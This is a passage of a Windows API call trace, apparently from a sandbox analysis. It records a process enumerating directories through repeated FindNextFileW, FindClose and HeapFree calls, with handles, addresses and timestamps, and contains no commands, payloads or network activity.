FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.741] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.741] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.741] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.742] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.744] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.744] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.745] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.746] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.746] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.746] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.748] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0252.748] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.748] FindClose (in: hFindFile=0x380caa0 | out: hFindFile=0x380caa0) returned 1 [0252.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.749] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.750] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.750] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.750] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.751] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.752] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.752] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.753] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.753] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.754] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.754] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.755] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.755] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.756] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.756] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.757] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.757] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.757] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.757] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.758] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0 [0252.758] FindClose (in: hFindFile=0x380c9e0 | out: hFindFile=0x380c9e0) returned 1 [0252.758] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0252.758] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0252.760] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0252.760] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0252.763] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0252.763] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0253.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0253.189] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0253.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0253.851] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0253.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0253.852] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0253.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0253.856] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0254.678] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.678] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.678] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.678] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.679] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.679] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.739] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.739] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.739] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.739] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.739] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.739] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0254.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0254.776] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.181] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.182] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.182] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.182] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.182] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.208] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.209] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.209] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.209] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.211] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.212] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.212] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.214] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.214] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.215] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.215] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.215] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.215] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.216] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.216] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.216] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.217] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.217] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.217] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.217] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.217] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.219] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.219] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.220] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.220] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.220] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.221] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.221] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.221] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.222] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.222] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.222] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.222] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.222] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.223] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.223] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.223] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.223] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.223] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.224] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.224] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.224] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.225] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.225] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.225] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.225] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0255.226] FindClose (in: hFindFile=0x380ca20 | out: hFindFile=0x380ca20) returned 1 [0255.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.226] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.227] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.227] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.228] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.228] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0255.228] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0255.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.229] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.229] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.229] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.231] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.231] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.232] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0255.232] FindClose (in: hFindFile=0x380caa0 | out: hFindFile=0x380caa0) returned 1 [0255.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.232] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.232] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0255.232] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0255.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.232] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.233] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.233] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.233] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0255.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.234] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.235] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0255.236] FindClose (in: hFindFile=0x380c7a0 | out: hFindFile=0x380c7a0) returned 1 [0255.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.237] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.237] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.237] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.238] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.238] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.239] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.239] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.239] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.239] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.240] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.240] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4569428 | out: hHeap=0x640000) returned 1 [0255.241] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.243] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0255.309] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0255.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x451c758 | out: hHeap=0x640000) returned 1 [0255.310] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0255.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.310] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.310] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.311] HeapFree (in: 